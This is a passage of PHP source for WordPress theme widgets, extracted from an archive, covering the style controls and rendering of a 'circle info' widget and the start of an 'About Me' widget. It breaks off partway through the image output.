				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle i, {{WRAPPER}} .penci-cinfoicon i' => 'font-size: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon'     => 'font-size: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_event',
			[
				'label'   => esc_html__( 'Select Event ', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'mouseover',
				'options' => [
					'click'     => esc_html__( 'Click', 'soledad' ),
					'mouseover' => esc_html__( 'Hover', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'link_on_icon',
			[
				'label' => esc_html__( 'Link On Icon', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'circle_info_auto_mode',
			[
				'label'       => esc_html__( 'Auto Mode', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'render_type' => 'template',
			]
		);

		$this->add_control(
			'circle_info_auto_time',
			[
				'label'     => esc_html__( 'Time (ms)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 3000,
				],
				'range'     => [
					'px' => [
						'min' => 1000,
						'max' => 10000,
					],
				],
				'condition' => [
					'circle_info_auto_mode' => 'yes',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_content_style',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_content_style' );

		$this->start_controls_tab(
			'circle_info_tab_content_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'content_glassmorphism_effect',
			[
				'label'       => esc_html__( 'Enable Backdrop Filter Effect', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'content_glassmorphism_blur_level',
			[
				'label'     => esc_html__( 'Blur Level', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					]
				],
				'default'   => [
					'size' => 5
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem' => 'backdrop-filter: blur({{SIZE}}px); -webkit-backdrop-filter: blur({{SIZE}}px);'
				],
				'condition' => [
					'content_glassmorphism_effect' => 'yes',
				]
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'circle_info_content_background_normal',
				'selector' => '{{WRAPPER}} .penci-cinfoitem',
			]
		);

		$this->add_responsive_control(
			'circle_info_content_padding_normal',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'circle_item_border',
				'selector' => '{{WRAPPER}} .penci-cinfoitem',
			]
		);

		$this->add_responsive_control(
			'circle_item_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-cinfoitem' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_content_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'circle_info_content_background_hover',
				'selector' => '{{WRAPPER}} .penci-cinfoitem:hover',
			]
		);

		$this->add_control(
			'circle_item_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'circle_item_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoitem:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_icon_style',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_style' );

		$this->start_controls_tab(
			'circle_info_tab_icon_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon'         => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-cinfosub-circle svg, {{WRAPPER}} .penci-cinfoicon svg' => 'fill: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'circle_icon_border',
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon',
			]
		);

		$this->add_control(
			'glassmorphism_effect',
			[
				'label'       => esc_html__( 'Enable Backdrop Filter Effect', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'glassmorphism_blur_level',
			[
				'label'     => esc_html__( 'Blur Level', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					]
				],
				'default'   => [
					'size' => 5
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'backdrop-filter: blur({{SIZE}}px); -webkit-backdrop-filter: blur({{SIZE}}px);'
				],
				'condition' => [
					'glassmorphism_effect' => 'yes',
				]
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_icon_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover'         => 'color: {{VALUE}} ',
					'{{WRAPPER}} .penci-cinfosub-circle:hover svg, {{WRAPPER}} .penci-cinfoicon:hover svg' => 'fill: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_background_hover',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_border_hover',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover' => 'border-color: {{VALUE}} ',
				],
				'condition' => [
					'circle_icon_border_border!' => ''
				]
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow_hover',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle:hover, {{WRAPPER}} .penci-cinfoicon:hover',

			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_icon_active',
			[
				'label' => esc_html__( 'Active  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_icon_color_active',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfoicon.active'         => 'color: {{VALUE}} ',
					'{{WRAPPER}} .penci-cinfosub-circle.active svg, {{WRAPPER}} .penci-cinfoicon.active svg' => 'fill: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_background_active',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfoicon.active' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_border_active',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:active, {{WRAPPER}} .penci-cinfoicon:active' => 'border-color: {{VALUE}} ',
				],
				'condition' => [
					'circle_icon_border_border!' => ''
				]
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow_active',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfosub-circle.active',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_title_style',
			[
				'label' => esc_html__( 'Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_style0' );

		$this->start_controls_tab(
			'circle_info_tab_title_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_title_color_normal',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfotitle, {{WRAPPER}} .penci-cinfoitem a ' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'circle_info_title_typography',
				'selector' => '{{WRAPPER}} .penci-cinfotitle, {{WRAPPER}} .penci-cinfoitem a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_title_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_title_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfotitle:hover, {{WRAPPER}} .penci-cinfoitem a:hover ' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_description_style',
			[
				'label' => esc_html__( 'Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_description_style' );

		$this->start_controls_tab(
			'circle_info_tab_description_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_description_color_normal',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfodesc' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'circle_info_description_typography',
				'selector' => '{{WRAPPER}} .penci-cinfodesc',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_description_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_description_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfodesc:hover' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'circle_info_additional_style',
			[
				'label' => esc_html__( 'Additional', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);


		$this->start_controls_tabs( 'circle_info_border_style' );

		$this->start_controls_tab(
			'circle_info_border_style_1',
			[
				'label' => esc_html__( 'Border 1', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_border_style1',
			[
				'label'     => esc_html__( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'none'   => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
				],
				'default'   => 'solid',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-style: {{VALUE}} ',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_border_width1',
			[
				'label'     => esc_html__( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_border_color1',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();


		$this->start_controls_tab(
			'circle_info_border_style_2',
			[
				'label' => esc_html__( 'Border 2', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_border_style2',
			[
				'label'     => esc_html__( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'none'   => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
				],
				'default'   => 'solid',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-style: {{VALUE}} ',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_border_width2',
			[
				'label'     => esc_html__( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_border_color2',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		if ( $settings['circle_info_auto_mode'] == 'yes' ) {
			$autoMode = true;
			if ( $settings['circle_info_auto_time']['size'] ) {
				$autoModeTime = $settings['circle_info_auto_time']['size'];
			} else {
				$autoModeTime = 0;
			}
		} else {
			$autoMode     = false;
			$autoModeTime = 0;
		}

		if ( $settings['circle_info_event'] ) {
			$circleInfoEvent = $settings['circle_info_event'];
		} else {
			$circleInfoEvent = false;
		}

		$this->add_render_attribute(
			[
				'circle_info' => [
					'class'         => 'penci-cinfo ',
					'data-settings' => [
						wp_json_encode( [
							"id"           => 'penci-cinfo' . $this->get_id(),
							"circleMoving" => $autoMode,
							"movingTime"   => $autoModeTime,
							"mouseEvent"   => $circleInfoEvent,
						] ),
					],
				],
			]
		);

		?>

        <div <?php $this->print_render_attribute_string( 'circle_info' ); ?>>
            <div class="penci-cinfowrap" id="penci-cinfo<?php echo esc_attr( $this->get_id() ); ?>">

                <div class="penci-cinfoinner">
					<?php
					$i = 1;
					foreach ( $settings['circle_info_icon_list'] as $index => $item ) :

						$this->add_render_attribute( 'sub_circle', 'class', 'penci-cinfosub-circle', true );
						if ( $i == 1 ) {
							$this->add_render_attribute( 'sub_circle', 'class', 'active' );
						}
						$this->add_render_attribute( 'sub_circle', 'data-circle-index', $i ++, true );

						$link_key_lg = 'link_' . $index;
						if ( ! empty( $item['circle_info_title_link']['url'] ) ) {
							$this->add_link_attributes( $link_key_lg, $item['circle_info_title_link'] );
						} else {
							$this->add_render_attribute( $link_key_lg, 'href', '#', true );
						}

						?>
                        <div <?php $this->print_render_attribute_string( 'sub_circle' ); ?>>
							<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                            <a <?php $this->print_render_attribute_string( $link_key_lg ); ?>>
								<?php endif; ?>
								<?php if ( ! empty( $item['circle_info_item_icon']['value'] ) ) : ?>
									<?php
									Icons_Manager::render_icon( $item['circle_info_item_icon'], [ 'aria-hidden' => 'true' ] );
									?>
								<?php endif; ?>

								<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                            </a>
						<?php endif; ?>

                        </div>
					<?php endforeach; ?>
                </div>

                <div class="penci-cinfocontent">
					<?php
					$i = 1;
					foreach ( $settings['circle_info_icon_list'] as $index => $item ) :

						$this->add_render_attribute( 'circle_content', 'class', 'penci-cinfoitem icci' . $i ++ . ' elementor-repeater-item-' . esc_attr( $item['_id'] ), true );

						if ( $i == 2 ) {
							$this->add_render_attribute( 'circle_content', 'class', 'active' );
						}
						$this->add_render_attribute( 'circle_title_tags', 'class', 'penci-cinfotitle' );


						$link_key = 'link_to_' . $index;
						if ( ! empty( $item['circle_info_title_link']['url'] ) ) {
							$this->add_link_attributes( $link_key, $item['circle_info_title_link'] );
						} else {
							$this->add_render_attribute( $link_key, 'href', '#', true );
						}


						?>

                        <div <?php $this->print_render_attribute_string( 'circle_content' ); ?>>

							<?php if ( ! empty( $item['circle_info_item_icon']['value'] ) ) : ?>
                                <div class="penci-cinfoicon d-md-none">
									<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                                    <a <?php $this->print_render_attribute_string( $link_key ); ?>>
										<?php endif; ?>
										<?php
										Icons_Manager::render_icon( $item['circle_info_item_icon'], [ 'aria-hidden' => 'true' ] );
										?>
										<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                                    </a>
								<?php endif; ?>
                                </div>
							<?php endif; ?>

                            <div class="penci-cinfocontent-inner">
                                <div>
                                    <a <?php $this->print_render_attribute_string( $link_key ); ?>>
                                        <<?php echo esc_attr( $settings['title_tags'] ); ?> <?php $this->print_render_attribute_string( 'circle_title_tags' ); ?>
                                        >
										<?php echo wp_kses_post( $item['circle_info_item_title'] ); ?>
                                    </<?php echo esc_attr( $settings['title_tags'] ); ?>>
                                    </a>
                                </div>

                                <div class="penci-cinfodesc">
									<?php echo wp_kses_post( $item['circle_info_item_details'] ); ?>
                                </div>
                            </div>

                        </div>

					<?php endforeach; ?>

                </div>

            </div>
        </div>

		<?php
	}
}
PK     1w\ [  [  +  elementor/modules/penci-about-me/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAboutMe;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-about-me';
	}

	public function get_widgets() {
		return array( 'PenciAboutMe' );
	}
}
PK     1w\X)  X)  ;  elementor/modules/penci-about-me/widgets/penci-about-me.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAboutMe\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAboutMe extends Base_Widget {

	public function get_name() {
		return 'penci-about-me';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Widget About Me', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'about me', 'image', 'about' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_aboutme', array(
				'label' => esc_html__( 'About me', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'image',
			array(
				'label'   => __( 'Choose Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			array(
				'name'      => 'thumbnail',
				'default'   => 'full',
				'separator' => 'none',
			)
		);
		$this->add_control(
			'link',
			array(
				'label'       => __( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'about_us_heading',
			array(
				'label'       => __( 'Heading Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'content',
			array(
				'label'       => __( 'About us text:', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
				'separator'   => 'none',
				'rows'        => 10,
				'show_label'  => false,
			)
		);


		$this->add_control(
			'align_block',
			array(
				'label'     => __( 'Align This Block', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'toggle'    => true,
			)
		);

		$this->add_control(
			'title_tag',
			array(
				'label'   => __( 'Title HTML Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'h3',
			)
		);

		$pmetas = array(
			'img_circle'   => array( 'label' => __( 'Make About Image Circle', 'soledad' ), 'default' => '' ),
			'dis_lazyload' => array( 'label' => __( 'Disable Lazyload for Image', 'soledad' ), 'default' => '' )
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control(
				$key, array(
					'label'     => $pmeta['label'],
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Show', 'soledad' ),
					'label_off' => __( 'Hide', 'soledad' ),
					'default'   => $pmeta['default'],
					'separator' => '',
				)
			);
		}

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'image_space',
			array(
				'label'     => __( 'Margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .about-widget .penci-widget-about-image'  => 'margin-bottom: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'image_size',
			array(
				'label'          => __( 'Width', 'soledad' ) . ' (%)',
				'type'           => Controls_Manager::SLIDER,
				'default'        => array(
					'size' => '',
					'unit' => '%',
				),
				'tablet_default' => array(
					'unit' => '%'
				),
				'mobile_default' => array(
					'unit' => '%'
				),
				'size_units'     => array( '%' ),
				'range'          => array(
					'%' => array( 'min' => 5, 'max' => 100 )
				),
				'selectors'      => array( '{{WRAPPER}} .penci-widget-about-image' => 'max-width: {{SIZE}}{{UNIT}} !important;' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'heading_title',
			array(
				'label'     => __( 'Heading', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_responsive_control(
			'title_bottom_space',
			array(
				'label'     => __( 'Margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array( '{{WRAPPER}} .about-me-heading' => 'margin-bottom: {{SIZE}}{{UNIT}};' )
			)
		);
		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .about-me-heading' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .about-me-heading',
			)
		);
		$this->add_control(
			'line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .about-me-heading:before' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'heading_content_typo',
			array(
				'label'     => __( 'Content', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'content_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-aboutme-content, {{WRAPPER}} .penci-aboutme-content p' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'content_typo',
				'label'    => __( 'Content Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-aboutme-content, {{WRAPPER}} .penci-aboutme-content p',
			)
		);
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$open_image = $close_image = '';
		if ( ! empty( $settings['link']['url'] ) ) {
			$this->add_render_attribute( 'image-wrapper', 'href', $settings['link']['url'] );
			if ( ! empty( $settings['link']['is_external'] ) ) {
				$this->add_render_attribute( 'image-wrapper', 'target', '_blank' );
			}
			if ( $settings['link']['nofollow'] ) {
				$this->add_render_attribute( 'image-wrapper', 'rel', 'nofollow' );
			}
			$open_image  = '<a ' . $this->get_render_attribute_string( 'image-wrapper' ) . '>';
			$close_image = '</a>';
		}

		$image_id = isset( $settings['image']['id'] ) ? $settings['image']['id'] : '';

		$image_src = Group_Control_Image_Size::get_attachment_image_src( $image_id, 'thumbnail', $settings );

		if ( ! $image_src && isset( $settings['image']['url'] ) ) {
			$image_src = $settings['image']['url'];
		}

		$inline_style = '';
		$inline_style_html = '';

		if( isset( $settings['img_circle'] ) && $settings['img_circle'] ):
			$inline_style .= 'border-radius: 50%; -webkit-border-radius: 50%;';
		endif;

		if( $inline_style ){
			$inline_style_html = ' style="'. $inline_style .'"';
		}
		$image_width = $image_height = '';
		?>
		<div class="penci-block-vc penci-about-me">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content about-widget<?php if ( $settings['align_block'] ): echo ' pc_align' . esc_attr( $settings['align_block'] ); endif; ?>">
				<?php if ( $image_src ) : 
					$image_width = penci_get_image_data_basedurl( $image_src, 'w' );
					$image_height = penci_get_image_data_basedurl( $image_src, 'h' );
					?>
					<?php echo $open_image; ?>
					<?php if ( ! $settings['dis_lazyload'] ) { ?>
						<img class="penci-widget-about-image nopin penci-lazy" nopin="nopin" width="<?php echo $image_width; ?>" height="<?php $image_height; ?>" src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>" data-src="<?php echo esc_url( $image_src ); ?>" alt="<?php echo esc_attr( $settings['about_us_heading'] ); ?>"<?php echo $inline_style_html; ?>/>
					<?php } else { ?>
						<img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>" src="<?php echo esc_url( $image_src ); ?>" alt="<?php echo esc_attr( $settings['about_us_heading'] ); ?>"<?php echo $inline_style_html; ?>/>
					<?php } ?>
